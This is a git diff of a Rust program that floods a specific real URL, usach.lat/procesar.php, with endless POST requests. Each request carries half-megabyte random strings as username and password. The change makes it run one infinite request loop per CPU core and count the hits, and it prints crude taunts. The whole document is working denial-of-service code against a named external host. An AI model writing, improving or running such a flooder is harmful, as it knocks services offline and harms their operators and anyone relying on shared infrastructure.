diff --git a/Cargo.toml b/Cargo.toml index 581bb94..eb0fd32 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -6,7 +6,7 @@ edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] -rand = "0.8.4" num_cpus = "1.16" +rand = "0.8.4" reqwest = "0.12.8" tokio = { version = "1", features = ["full"] } diff --git a/src/main.rs b/src/main.rs index 56108f5..c3fd6d2 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,41 +1,53 @@ -use std::collections::HashMap; - use rand::{distributions::Alphanumeric, Rng}; use reqwest::Client; -use tokio::runtime; +use std::{collections::HashMap, io, io::Write, sync::Arc}; +use tokio::sync::Mutex; #[tokio::main] async fn main() { - let garbage: String = rand::thread_rng() - .sample_iter(&Alphanumeric) - .take(512000) - .map(char::from) - .collect(); - println!("{} bytes pal qliao, a prepararse :3", garbage.len()); - let mut params = HashMap::new(); - params.insert("username", garbage.clone()); - params.insert("password", garbage.clone()); - let request = Client::new() - .post("https://usach.lat/procesar.php") - .form(¶ms); - + let request = Client::new().post("https://usach.lat/procesar.php"); let threads = num_cpus::get(); - let rt = runtime::Builder::new_multi_thread() - .enable_io() - .enable_time() - .worker_threads(threads) - .build() - .expect("FUCK!!!!"); - + let count: Arc> = Arc::new(Mutex::new(0)); println!("pasa la raja usachin 😈"); - loop { + for _ in 0..threads { let inner = request.try_clone().unwrap(); - rt.spawn(async move { - let response = inner.send().await.unwrap(); - println!("plap! {}", response.status()); - }) - .await - .unwrap(); + let memory = Arc::clone(&count); + + tokio::spawn(async move { + loop { + let garbage: String = rand::thread_rng() + .sample_iter(&Alphanumeric) + .take(512000) + .map(char::from) + .collect(); + let mut params = HashMap::new(); + params.insert("username", garbage.clone()); + params.insert("password", garbage.clone()); + + inner + .try_clone() + .unwrap() + .form(¶ms) + .send() + .await + .unwrap(); + + let mut lock = memory.lock().await; + *lock += 1; + } + }); + } + + let outer = Arc::clone(&count); + let mut last = 0; + loop { + let lock = outer.lock().await; + let count = *lock; + if count != last { + print!("\rplap! te lo culeaste {count} veces"); + io::stdout().flush().unwrap(); + last += 1 + } } }